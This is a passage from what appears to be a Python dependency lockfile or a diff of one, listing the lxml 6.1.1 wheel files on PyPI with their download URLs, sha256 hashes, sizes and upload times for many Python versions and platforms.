"https://files.pythonhosted.org/packages/1b/3c/c0690d74bd2bc17bc03b5b0d093569ead597dd0bfa088bf99eef8c24e19c/lxml-6.1.1-cp311-cp311-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a12689be69a28ddaa0ab99a5a1137da2afd5f8f16df7b5680b66f616d3eda1d", size = 5002456, upload-time = "2026-05-18T19:17:59.715Z" }, + { url = "https://files.pythonhosted.org/packages/66/8d/d1b3271af0c0f1e27e8472a849e4d2c65bc7766884b9ad2da9e76e145c88/lxml-6.1.1-cp311-cp311-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:18b73c339ae29b90fd2d06e58ebd555a751bde9cd6bbd36cc0281b9a2c94e9d8", size = 5202776, upload-time = "2026-05-18T19:18:08.924Z" }, + { url = "https://files.pythonhosted.org/packages/7a/45/689824ffb237fd10125ad273f32b28ff04dc6203c2822c85ff65a93df65e/lxml-6.1.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:752d3bbfe874715ccd0aec7f88d7fc623c0f1fd7aa7b3238a084e017bad2a009", size = 5329945, upload-time = "2026-05-18T19:18:13.673Z" }, + { url = "https://files.pythonhosted.org/packages/5d/c0/ef73af53767e958fd87d437c170f272e2f6e6c0f854939f133a895f1e711/lxml-6.1.1-cp311-cp311-manylinux_2_31_armv7l.whl", hash = "sha256:6b1761fbf9ec984e2e9d9c589ef5f5fd684b7c19f92aadd567a26c5224958db6", size = 4659237, upload-time = "2026-05-18T19:18:18.657Z" }, + { url = "https://files.pythonhosted.org/packages/a0/5e/e1158e40397585e91cb0472374a1f63d0926a1ddeaa92f13d1a1ffe306d5/lxml-6.1.1-cp311-cp311-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d680fbcb768404c601ecb43519ecd8461f6954cb11c06a78962f666832ccfca8", size = 5265904, upload-time = "2026-05-18T19:18:24.883Z" }, + { url = "https://files.pythonhosted.org/packages/a0/16/8687e5d1400ed1c0bc41dace232ebb7553952b618ea1f2e5fb6e2cfbbe23/lxml-6.1.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:162af1091cd785f2f27e62d3547ae9bc58ec5c86dd314d67021fd02463708d83", size = 5045225, upload-time = "2026-05-18T19:17:20.073Z" }, + { url = "https://files.pythonhosted.org/packages/ca/18/d877bd1ae2e5ffdfd4836565aba350db31feb2f2656d6ce70316ed66a05e/lxml-6.1.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:e9308ff8241c532df3f3e570f9a5aeed6c853f888512ba4b75638d7c11c95ef6", size = 4712721, upload-time = "2026-05-18T19:17:40.512Z" }, + { url = "https://files.pythonhosted.org/packages/44/4d/1f44fd1d770b10dacbf6b5c6e520f4d6e0708744930f719dc04e67cab981/lxml-6.1.1-cp311-cp311-musllinux_1_2_riscv64.whl", hash = "sha256:5f6994074ebae6ffb04447268e37dc16edc304f9859cf91acb86e0af6c1b395c", size = 5252549, upload-time = "2026-05-18T19:17:51.236Z" }, + { url = "https://files.pythonhosted.org/packages/64/5d/1d66b84f850089254c230ef6ea6b267a5a54e2e179a5d960036a05d501d7/lxml-6.1.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:80c2dfadb855da477cf73373ad29a333535dedb9b12bad02c9814c8e2b43bf08", size = 5226877, upload-time = "2026-05-18T19:18:00.875Z" }, + { url = "https://files.pythonhosted.org/packages/ad/00/84c4b5302d42a2d0184f38d538c8a197f33b52a50bd4f7bcfe990bce3036/lxml-6.1.1-cp311-cp311-win32.whl", hash = "sha256:30a89d3ac8faec007453fb541f3f46807eeec88edd5826f6e3fe001752a2c621", size = 3594072, upload-time = "2026-05-18T19:17:12.714Z" }, + { url = "https://files.pythonhosted.org/packages/61/9d/2e2f7d876349f45e0f3e29f72da311668853d59b58d473a2dea4f0160135/lxml-6.1.1-cp311-cp311-win_amd64.whl", hash = "sha256:abbefa31eee84842140f67acef1c828e28bba8bbf0c3bc6e5492a9af88152c28", size = 4025469, upload-time = "2026-05-18T19:17:50.566Z" }, + { url = "https://files.pythonhosted.org/packages/b0/d5/570e6390e4110331e6208b2ba83d1482cc9146808ee118b22824a34c1070/lxml-6.1.1-cp311-cp311-win_arm64.whl", hash = "sha256:dcb292aa7fe485ceff7af4f92e46c5af397daec5dff64871a528f0fc47a3cc5b", size = 3667640, upload-time = "2026-05-19T19:22:48.293Z" }, + { url = "https://files.pythonhosted.org/packages/6a/6e/c4add832b6fc1e887125b96f880d7b9b70aae5248718e046b1704bcac4b9/lxml-6.1.1-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:104c09bda8d2a562824c0e319d0768ce26a779b7601e0931d33b09b53c392ef7", size = 8570821, upload-time = "2026-05-18T19:17:42.068Z" }, + { url = "https://files.pythonhosted.org/packages/22/00/ff3009c88e65de8011630acf8ab5a09cb2becd2aaf47fba2f3449f6224e9/lxml-6.1.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:25c6997a9a534e016695a0ba06b2f07945de682731ff01065b6d5a4474179da1", size = 4624252, upload-time = "2026-05-18T19:17:47.897Z" }, + { url = "https://files.pythonhosted.org/packages/42/95/bb63f0fd62e554fe078e1fb3c8fe9083c14ddc7ad7fa178d10e57e071ac7/lxml-6.1.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c921ba5c51e4e9f63b8b00267d06566e1f63407408a0496da2d1d0bfc819c7fc", size = 4930746, upload-time = "2026-05-18T19:18:29.637Z" }, + { url = "https://files.pythonhosted.org/packages/eb/99/0013e8d9b5960f4f041cf0b73e2f80c23eb5205b1f7bfb20203243651359/lxml-6.1.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:54a7f95e4de5fb94e2f9f4b9055c6ba33bf3d628fd77a1d647c5923caa2cdcdc", size = 5093723, upload-time = "2026-05-18T19:18:34.168Z" }, + { url = "https://files.pythonhosted.org/packages/29/91/317b332636bfc7bddcff828d41b3307f50043f4b237e40849c333d80fa1a/lxml-6.1.1-cp312-cp312-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:96f2ec43df44b1f76249ee0a615334f9b5b060e1c8bd90e706dad2d14d02f383", size = 5005557, upload-time = "2026-05-18T19:18:39.798Z" }, + { url = "https://files.pythonhosted.org/packages/42/2f/cc9bf06afe70f9c9093ae60855d9759da9db601ec4080f7473319666ffd7/lxml-6.1.1-cp312-cp312-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:70ef8a7e102a1508f8121aae5b0867abd663f72c14f0a9c937e6554cb4587b7b", size = 5631036, upload-time = "2026-05-18T19:18:44.858Z" }, + { url = "https://files.pythonhosted.org/packages/08/f6/af32e23e563971ffb0fb86be52bc5be5c2c118858ffc119bf6a9039b173d/lxml-6.1.1-cp312-cp312-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ebe6af670449830d6d9b752c256a983291c766a1365ba5d5460048f9e33a7818", size = 5240367, upload-time = "2026-05-18T19:18:49.217Z" }, + { url = "https://files.pythonhosted.org/packages/78/83/8555d40948b09ce86f1bd0c68a7ac31d07b1929f92cc1b074006c97ef2d2/lxml-6.1.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:27acc820660aaffa4f7c087f29120e12980f7779d56d8492d263170111284740", size = 5350171, upload-time = "2026-05-18T19:18:52.779Z" }, + { url = "https://files.pythonhosted.org/packages/63/75/5d92da93729b7bad783689e6496049fa40927b45bec7bf183c981de3ca70/lxml-6.1.1-cp312-cp312-manylinux_2_31_armv7l.whl", hash = "sha256:1db753c9115ec7100d073b744d17e25e88a8f90f5c39b2f5dd878149af59671f", size = 4694874, upload-time = "2026-05-18T19:18:55.139Z" }, + { url = "https://files.pythonhosted.org/packages/c5/b5/3aad415a9a25b822e783f15deeb4dffccf5113030f1afa2222dd929313d9/lxml-6.1.1-cp312-cp312-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:c4f469aebd783bb741c2ecb2a681008fd26bfe5c16a9a72ed5467f834e810df2", size = 5244492, upload-time = "2026-05-18T19:19:01.28Z" }, + { url = "https://files.pythonhosted.org/packages/f1/a1/5fcf7eb9904b80086aa47dcf0027de07b1bb990afad2e6823144c368ae04/lxml-6.1.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:766b010012d59470072c1816b5b6c69f1d243e5db36ea5968e94accf430a4635", size = 5048232, upload-time = "2026-05-18T19:18:12.67Z" }, + { url = "https://files.pythonhosted.org/packages/77/74/1f601b63c7a69fcdf10fa9b148c81da8442204194f6c55509cc485c786b9/lxml-6.1.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:b8d812c6011c08b8111a15e54dd990b8923692d80adf35488bee34026c35accf", size = 4777023, upload-time = "2026-05-18T19:18:15.928Z" }, + { url = "https://files.pythonhosted.org/packages/a2/b9/7a78f51aec95b1bf780d78e12705a9f6533284f8693dc5c0e6724fa53d3f/lxml-6.1.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:fe0306bd29505a9177aac19f1877174b0e7422c222a59f70b2cd41633448c3dc", size = 5645773, upload-time = "2026-05-18T19:18:23.223Z" }, + { url = "https://files.pythonhosted.org/packages/a5/6e/98a7b7ad54e4e74fa1f20fff776913980619d0ebe5558232d7da6580bdd8/lxml-6.1.1-cp312-cp312-musllinux_1_2_riscv64.whl", hash = "sha256:5ba186ad207446c65d3bb3d3e0412b032b1d9f595e59861e2354798c5703d955", size = 5233088, upload-time = "2026-05-18T19:18:31.433Z" }, + { url = "https://files.pythonhosted.org/packages/65/d1/bc0ed2427bf609f2ee10da303a6a226f9c8bce94f945dc29a32ce55de6e4/lxml-6.1.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:aa366a1e55b8ebfe8ca8ddc3cfe75c8ebade181aeb0f661d0cb05986b647f72a", size = 5260995, upload-time = "2026-05-18T19:18:37.091Z" }, + { url = "https://files.pythonhosted.org/packages/69/8b/6772e1a4b513fc50a8d931f19edde0e13ae6918510a1e13ff67864f3e5ed/lxml-6.1.1-cp312-cp312-win32.whl", hash = "sha256:126c93f7f56f0eda92f6d8c619edc463a4f23d9252f1c9d0405a76f25fa9f11a", size = 3596382, upload-time = "2026-05-18T19:17:18.37Z" }, + { url = "https://files.pythonhosted.org/packages/1b/89/45198e9624762af2dfd2cb8782598477ceb29f6e59caab560388ae1f4ec1/lxml-6.1.1-cp312-cp312-win_amd64.whl", hash = "sha256:26e6eda8d38c1fcab1090dd196ee87cbd13788e531937610e2589085de074e77", size = 3997255, upload-time = "2026-05-18T19:17:56.781Z" }, + { url = "https://files.pythonhosted.org/packages/90/a9/7a54b6834088d9ae528a7b780584ba6a39a9457b0ac330479f20ffbc9449/lxml-6.1.1-cp312-cp312-win_arm64.whl", hash = "sha256:6540377fbd53fe1b629172288c464fb18db11ce1fa7dc15891da10aa9dcc3e7f", size = 3659610, upload-time = "2026-05-19T19:22:50.843Z" }, + { url = "https://files.pythonhosted.org/packages/a5/eb/7e6f37c5584ccbb2ff267f56fd0339016938c1c8684cfefab9b33ffc2f36/lxml-6.1.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:68a9198d0fc122d14bb76837de9aa80cf84caed990b5b237f532ed87d3706736", size = 8559780, upload-time = "2026-05-18T19:17:57.661Z" }, + { url = "https://files.pythonhosted.org/packages/a1/36/587c2521cf23a2cd6c9c22108aa7528f683a1f195ed7ccd23a4b1786ad36/lxml-6.1.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:7d47866cb32fb503450b6edc9df355d10dc49836af2e89901bd6ac6b0896d9d9", size = 4618006, upload-time = "2026-05-18T19:18:04.452Z" }, + { url = "https://files.pythonhosted.org/packages/6e/ca/ab7bfe2bf4c972af5e7878262845ead3a24a929a9b04bc11c7c1ece6c82a/lxml-6.1.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:eb7c9811bfaa8b1ed5ed319f5d370dfbcaa59d52ea64be2a5a85e18195930354", size = 4924139, upload-time = "2026-05-18T19:19:04.873Z" }, + { url = "https://files.pythonhosted.org/packages/6b/55/a0c72851dfee5ecc689f949723a73dea457758912542cb955b108eaf0d8f/lxml-6.1.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:762ff394d5bd56da0cf034a23dcce4e13923f15321a2adfa2ac00201dc6d3fca", size = 5082329, upload-time = "2026-05-18T19:19:09.728Z" }, + { url = "https://files.pythonhosted.org/packages/f0/b6/0608f7d61a3b96cc67e5648a3d906e31a5082093e10e7be65b3886289938/lxml-6.1.1-cp313-cp313-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:a088f287f7d8275a33c07f2cac6c50b9319309a0200a39e7e75d80c707723099", size = 4993564, upload-time = "2026-05-18T19:19:13.608Z" }, + { url = "https://files.pythonhosted.org/packages/4c/66/ae227524b066d29d55bf0b453d93d2d793c40218657d643dcbbca13b8faf/lxml-6.1.1-cp313-cp313-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:e902da4b04e6b52e5893900d4b8ab46068f75f3561f01bf1080957f9fd932ed6", size = 5613467, upload-time = "2026-05-18T19:19:16.228Z" }, + { url = "https://files.pythonhosted.org/packages/a6/76/dbe4a00b50385e40194231dcfe5a12c059de7cf90e89c83407d2b085b719/lxml-6.1.1-cp313-cp313-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1d4962d4c66bf830a7e59ed6cfc17d148149898a3aefa8ec6e59763e6e3ed085", size = 5228304, upload-time = "2026-05-18T19:19:19.354Z" }, + { url = "https://files.pythonhosted.org/packages/1c/01/00b1b8442ed2041793336868ba0b9ea4b13d7da7c085c6404c207a63bf79/lxml-6.1.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:581d4c8ae690a6609e64862dd6b7c2489635c2d13907fc2b20f2bc200ff1d21e", size = 5341607, upload-time = "2026-05-18T19:19:22.297Z" }, + { url = "https://files.pythonhosted.org/packages/63/36/1ad29931e9a4638bb707869f01d423a6c815f82152138d1a40dfcfde2b95/lxml-6.1.1-cp313-cp313-manylinux_2_31_armv7l.whl", hash = "sha256:876e1ff5930ed8bf295ec5ef9a8155e9b6b1876bbf1deed8b3a8069311875a8f", size = 4700168, upload-time = "2026-05-18T19:19:25.133Z" }, + { url = "https://files.pythonhosted.org/packages/3c/d1/a9536cecf9be18a0dc72d32bead283a2332d1ffebd2dd3ac70ce444686e5/lxml-6.1.1-cp313-cp313-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:9eb9b5a968f6e0f6d640092a567e14529ff8cea2e29d00da6f78a79fa49f013c", size = 5232487, upload-time = "2026-05-18T19:19:28.603Z" }, + { url = "https://files.pythonhosted.org/packages/0e/77/b4fb1e03bf5d130e879214d3100092e386418807fb74dd0adc4b0a48f351/lxml-6.1.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:aa49e06d94aba782c6a02eecb7e507969e7e7a41b267f1b359bb35585f295d5b", size = 5044231, upload-time = "2026-05-18T19:18:42.246Z" }, + { url = "https://files.pythonhosted.org/packages/26/4c/d00daeeb0a5530c4028a9232aa1b93db3ef4ed2158c116ea73c79a9765b3/lxml-6.1.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:70cdfd80589d59e43e18005dd7244e8895e93db8ab6a620b7e23df5445a4e3d2", size = 4769450, upload-time = "2026-05-18T19:18:48.013Z" }, + { url = "https://files.pythonhosted.org/packages/ed/6a/715a3a8d156ce42f29cf014706f5410c2ff3b02267774110fc23266409fe/lxml-6.1.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:aad9aa39483ed8ec44d6d2e59e5b98a0d80676ef0d92f44bfc374836111f62f5", size = 5635874, upload-time = "2026-05-18T19:18:51.914Z" }, + { url = "https://files.pythonhosted.org/packages/45/37/0544bc21dde2a88f3a17b504e6fc79c0e01d25a33c2f6079724e9e72b9c7/lxml-6.1.1-cp313-cp313-musllinux_1_2_riscv64.whl", hash = "sha256:d49514be2f28d895c38cf9d2b72d7b9a07d00314519f456c0b50b53cfcf4c785", size = 5223987, upload-time = "2026-05-18T19:18:59.715Z" }, + { url = "https://files.pythonhosted.org/packages/4d/f8/f6a5e8185bcb28c2befae3d31f8e3df3b811cb0f47746517a81279fcafe1/lxml-6.1.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:47402e62c52ff5988c1e8c6c63177f5708bccf48e366dea4e3dcf1e645e04947", size = 5250276, upload-time = "2026-05-18T19:19:03.834Z" }, + { url = "https://files.pythonhosted.org/packages/c7/f2/1a2b9f1b7a49d45495369be7ef9ad05b262930f2eab3e3145706fca8083f/lxml-6.1.1-cp313-cp313-win32.whl", hash = "sha256:3483644525531e1d5762b0c44a8e18b6efba321b6dcf8a8952de10b037618bca", size = 3596903, upload-time = "2026-05-18T19:17:29.863Z" }, + { url = "https://files.pythonhosted.org/packages/e6/99/f4ffb024f238eec2131aaa09f3278fb6129cf892741bf68e1fc1afb8c100/lxml-6.1.1-cp313-cp313-win_amd64.whl", hash = "sha256:a10bd2fd62e8ce916ececb342f348f190724a098c1faa056fdfb2a22ad5e8660", size = 3995869, upload-time = "2026-05-18T19:18:02.596Z" }, + { url = "https://files.pythonhosted.org/packages/d1/53/70eb8c5c6037f27448f1e3c54ebede9545a801ae63f0a7254afca4fe8e45/lxml-6.1.1-cp313-cp313-win_arm64.whl", hash = "sha256:424aa57aca0897eb922aef34395bd1289b3b6f04e6bae20ea123c0c7e333cffc", size = 3658490, upload-time = "2026-05-19T19:22:53.846Z" }, + { url = "https://files.pythonhosted.org/packages/13/e2/2e325795566de01d0d7c3bb57d3c370616b2d07b01214e84eec5d3b10963/lxml-6.1.1-cp314-cp314-macosx_10_15_universal2.whl", hash = "sha256:19b7ab10b210b0b3ad7985d9ac4eb66ab09a90b20fe6e2f7ba55d01a234345d0", size = 8577146, upload-time = "2026-05-18T19:18:17.765Z" }, + { url = "https://files.pythonhosted.org/packages/93/cf/5630b5e4be7d2e6bee8efe83865c925221103cf0221303b104ce134b01e2/lxml-6.1.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:c08e5c694306507275f2290073350c4f32e383db15213b2c69e7ff39c1193840", size = 4623866, upload-time = "2026-05-18T19:18:30.669Z" }, + { url = "https://files.pythonhosted.org/packages/d2/51/3904907c063451cf8d4a5c9fe0cad95fa1f4ec57f4e3884fa0731bd7a305/lxml-6.1.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:74a9717fd0d82effef5c2854f0d917231d5324b5a3eb7275c43ac9fa32f97a14", size = 4950022, upload-time = "2026-05-18T19:19:31.958Z" }, + { url = "https://files.pythonhosted.org/packages/94/cd/9c7611a51c37a2830928405817cc5d56a97f64fab83cc3f628748b135749/lxml-6.1.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:efe0374196335f93b53269acd811b944f2e6bdc88e8894f214bd636455484909", size = 5086695, upload-time = "2026-05-18T19:19:34.764Z" }, + { url = "https://files.pythonhosted.org/packages/da/d6/24e3b5906abb0b674ff2ae195bc3ce59708df2bcd17cf17703b2d7dd643a/lxml-6.1.1-cp314-cp314-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:ac931cdc9442c1763b8a8f6cd62c0c938737eafc5be75eff88df55fc73bc0d00", size = 5031642, upload-time = "2026-05-18T19:19:37.771Z" }, + { url = "https://files.pythonhosted.org/packages/2d/db/6ec54f99019838bff54785c51da07f189eb4676861c5f2730962b0d8d665/lxml-6.1.1-cp314-cp314-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:aee395f5d0927f947758b4ec119fd5fc8ec71f07a1c5c52077b30b04c0fa6955", size = 5647338, upload-time = "2026-05-18T19:19:40.553Z" }, + { url = "https://files.pythonhosted.org/packages/42/3d/ef4dcfffd22d27a61805d8ed9f7fb888495bc6aa88648fa07c1eaa5586b6/lxml-6.1.1-cp314-cp314-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9395002973c827b3ed67db77e6ec09f092919a587022174554096a269378fb13", size = 5239528, upload-time = "2026-05-18T19:19:43.657Z" }, + { url = "https://files.pythonhosted.org/packages/62/bb/37fb3f0dff146bdcfa78eec47879273820b2a0bf350ec236ce14bd0b1c26/lxml-6.1.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:73bc2086f141224ebddb7fc5c6a36ca58b31b94b561e1dfe8e073e3270fad1e7", size = 5350730, upload-time = "2026-05-18T19:19:46.307Z" }, + { url = "https://files.pythonhosted.org/packages/90/42/43253f168388df4fae1f38c01df36ddb9bee39e2048167b54cdcbae85ea3/lxml-6.1.1-cp314-cp314-manylinux_2_31_armv7l.whl", hash = "sha256:3779def59032b81e44a5f70096ef6bf2082f8d901937dca354474ba09782e245", size = 4697530, upload-time = "2026-05-18T19:19:49.889Z" }, + { url = "https://files.pythonhosted.org/packages/eb/a8/c5a8504f81bbdfc8e7094c2c850cdb4ed6777fc4d5ddd9e5ab819f3b0d54/lxml-6.1.1-cp314-cp314-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:86c89b9d55ebf820ad7c90bc533410f0d098054f293351f10603c0c46ff598f5", size = 5250670, upload-time = "2026-05-18T19:19:53.199Z" }, + { url = "https://files.pythonhosted.org/packages/77/b7/c7e76ab18744d75e21f320ebf9ff9d1ceae2b54dd431ea5a64caf26c9672/lxml-6.1.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:19607c6bbff2a44cf3fe8250abccd20942d3462473e0a721d01d379ed017e462", size = 5084485, upload-time = "2026-05-18T19:19:08.422Z" }, + { url = "https://files.pythonhosted.org/packages/31/31/b35c53f8ef7b7c31cacd23d3638652fff7bcd1deb6eedb709ab43b685908/lxml-6.1.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:c6ed5141a5c7507cf3ee76bd363b0d6f801e3321adc35b5d825a23115faa5465", size = 4737635, upload-time = "2026-05-18T19:19:12.321Z" }, + { url = "https://files.pythonhosted.org/packages/d9/06/31f23c813a7fe8e0cb1b175e915b08c9bf4e86d225b210feadbdbe519667/lxml-6.1.1-cp314-cp314-musllinux_1_2_ppc64le.whl", hash = "sha256:62aeb7e85b5d60320b9d77eef2e773994e2c0ce10121b277e0a19804e1654a5a", size = 5670681, upload-time = "2026-05-18T19:19:15.001Z" }, + { url = "https://files.pythonhosted.org/packages/1a/bc/ce619bccc89b1fd9ad8a8e1330ee3f3beff9f2ff95b712d7bbcdd6e22fc3/lxml-6.1.1-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:b1b963fd8f5caa68e99dfae060d54de1fe9cba899b8718b44a00cdca53c3e590", size = 5238229, upload-time = "2026-05-18T19:19:18.131Z" }, + { url = "https://files.pythonhosted.org/packages/2f/5d/b329acbbedc0b619ebc2be6cf7ee9ed07e80892c88d4dfd612c33805789a/lxml-6.1.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:63876be28efefa04a1df615b46770e82042cce445cfdce55160522f57b231ccb", size = 5264191, upload-time = "2026-05-18T19:19:21.118Z" }, + { url = "https://files.pythonhosted.org/packages/d6/85/be36fb1425b30db3c3f9df75fe86343ebffb79e6320bd7f588e25bfeac39/lxml-6.1.1-cp314-cp314-win32.whl", hash = "sha256:7f7a92e8583f06b1fd49d01158143b8461cfcd135dcb10ec807270a3051bd603", size = 3657202, upload-time = "2026-05-18T19:17:39.509Z" }, + { url = "https://files.pythonhosted.org/packages/b8/ce/3cf9a827342269f54d405a6202397de63f07c69cbd6ce7d183a3f0cba1e9/lxml-6.1.1-cp314-cp314-win_amd64.whl", hash = "sha256:b2d444f2e66624d68e9c6b211e28a76e22fff5fcabcfff4deac18b529b7d4137", size = 4064497, upload-time = "2026-05-18T19:18:14.662Z" }, + { url = "https://files.pythonhosted.org/packages/d9/3e/1a957bde8f0760039e627f94699f82caa782c9d838d86c3d28245ee67212/lxml-6.1.1-cp314-cp314-win_arm64.whl", hash = "sha256:3fd9728a2735fda14f4e8235830c86b539e9661e849665bf926d3f867943b4bf", size = 3741991, upload-time = "2026-05-19T19:22:59.111Z" }, + { url = "https://files.pythonhosted.org/packages/78/b2/00ed55b3a2efa4658fb795c38d1090ec9b3e8a6c3683d4441fa517f09c3b/lxml-6.1.1-cp314-cp314t-macosx_10_15_universal2.whl", hash = "sha256:787b2496d0dbe8cd180984e8d29e3a6f76e7ea34db781cb3bd55e4ba1ef8b4ee", size = 8827545, upload-time = "2026-05-18T19:18:41.193Z" }, + { url = "https://files.pythonhosted.org/packages/c0/73/74573db19baa618d5f266f2407898b087ff6927115b00b71e5fc1b700847/lxml-6.1.1-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:2c8daa471358dc2d6fcf02165e80ec68f77871a286df95bc5cc3816153b0fd2c", size = 4735736, upload-time = "2026-05-18T19:18:46.761Z" }, + { url = "https://files.pythonhosted.org/packages/16/02/6f7061f4f95f51e545d48e87647c54791d204a4e881be4156e7a26ba5338/lxml-6.1.1-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:acd7d70b64c0aae0c7922cca83d288a16f5f6da523637697872253415269baef", size = 4970291, upload-time = "2026-05-18T19:19:56.215Z" }, + { url = "https://files.pythonhosted.org/packages/b0/02/55fc057d8283427dea7d6edb102e7a840239c77a64a983d92f62a304c0e9/lxml-6.1.1-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:4f0dd2f01f9f8a89f565d000e03abcf0a13d692a346c8d22f628d49af098777a", size = 5102822, upload-time = "2026-05-18T19:19:59.223Z" }, + { url = "https://files.pythonhosted.org/packages/e4/48/8e1cf78d89d66850121d9255a2a24414c98f775da93b90cf976956c24b14/lxml-6.1.1-cp314-cp314t-manylinux_2_26_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0b7e8a14c8634bf6f7a568634cb395305a6d964aeb5b7ee32248094bed3a7e2c", size = 5027923, upload-time = "2026-05-18T19:20:01.549Z" }, + { url = "https://files.pythonhosted.org/packages/ed/00/0632a0647612c8af24d26997b3b961397daa9d5b2581444805933629a4cb/lxml-6.1.1-cp314-cp314t-manylinux_2_26_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:86281fbdd6a8162756f8d603f37e3435bfa38043adb79c6dc6a2dfee065e7525", size = 5595843, upload-time = "2026-05-18T19:20:03.93Z" }, + { url = "https://files.pythonhosted.org/packages/bc/86/ab008a7dc360711b66858d61c80a5979a70a09f2aa2b05d9698df80b803d/lxml-6.1.1-cp314-cp314t-manylinux_2_26_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:c5d7152ec39ca7c402d8fb9bad86140a15b9503bd0c54484e3f1bbe3dd37ceca", size = 5224515, upload-time = "2026-05-18T19:20:06.381Z" }, + { url = "https://files.pythonhosted.org/packages/75/c6/2702ff375e728e34f56d9a45339a9cf7e4427e917f542225242d63a05afa/lxml-6.1.1-cp314-cp314t-manylinux_2_28_i686.whl", hash = "sha256:88d8cb75b9d82858497a5393e3c63cfbf03035225e4b35a49ed7ccb151e4dc0e", size = 5312511, upload-time = "2026-05-18T19:20:09.308Z" }, + { url = "https://files.pythonhosted.org/packages/b7/57/a5807c98f87a86f10ef9ffab35516df7c0f0c4b6d5d33e9f608ab9c04a31/lxml-6.1.1-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:f64ec5397ea6a41fc1b4af0380d79b44a755b5531dcaccd9940fb260dca93038", size = 4639206, upload-time = "2026-05-18T19:20:11.704Z" }, + { url = "https://files.pythonhosted.org/packages/1f/e1/8a0a2c35734812395f4da4eaf33748a7e5705bfb2a58b128da764339d5ec/lxml-6.1.1-cp314-cp314t-manylinux_2_38_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:d34bbf07dbc7ca5970671b1512e928991fb5e9d95365636c9b2d8b4f53af405e", size = 5232404, upload-time = "2026-05-18T19:20:14.064Z" }, + { url = "https://files.pythonhosted.org/packages/c2/e2/0e6a4dd5ad84d01d99aa7bae7cfefd4a760a0e0f8176818241de17d9b6c0/lxml-6.1.1-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:17e0e18d4ad8adbd0399291bc44845b69d9dd68439a3cdebdf35ff902ec05072", size = 5083769, upload-time = "2026-05-18T19:19:23.758Z" }, + { url = "https://files.pythonhosted.org/packages/a0/7e/161f33d463f6ffc1c7679104b65086dea120080d49dde4d238f015aaee2f/lxml-6.1.1-cp314-cp314t-musllinux_1_2_armv7l.whl", hash = "sha256:3ab541146f1f6968c462d6c2ac495148e8cdba2f8347700b2141b6ec5a75bf52", size = 4758936, upload-time = "2026-05-18T19:19:27.256Z" }, + { url = "https://files.pythonhosted.org/packages/f1/fb/2369825e3f6ca99305bf9f7b7085fda91c8b0922a89e54d900974aa3ef85/lxml-6.1.1-cp314-cp314t-musllinux_1_2_ppc64le.whl", hash = "sha256:2a0217714657e023ef4293500f65aa20fce6164c8fd6b08fa5bd4a859fb14b9b", size = 5620296, upload-time = "2026-05-18T19:19:29.993Z" }, + { url = "https://files.pythonhosted.org/packages/30/90/d61e383146f74c5ab683947ea14dc7b82778838ab9b95ea73a23b60d0191/lxml-6.1.1-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = "sha256:05a82eb6e1530a64f26225b55cbd178113bd0b5af1c2b625f25e5296742c26d2", size = 5228598, 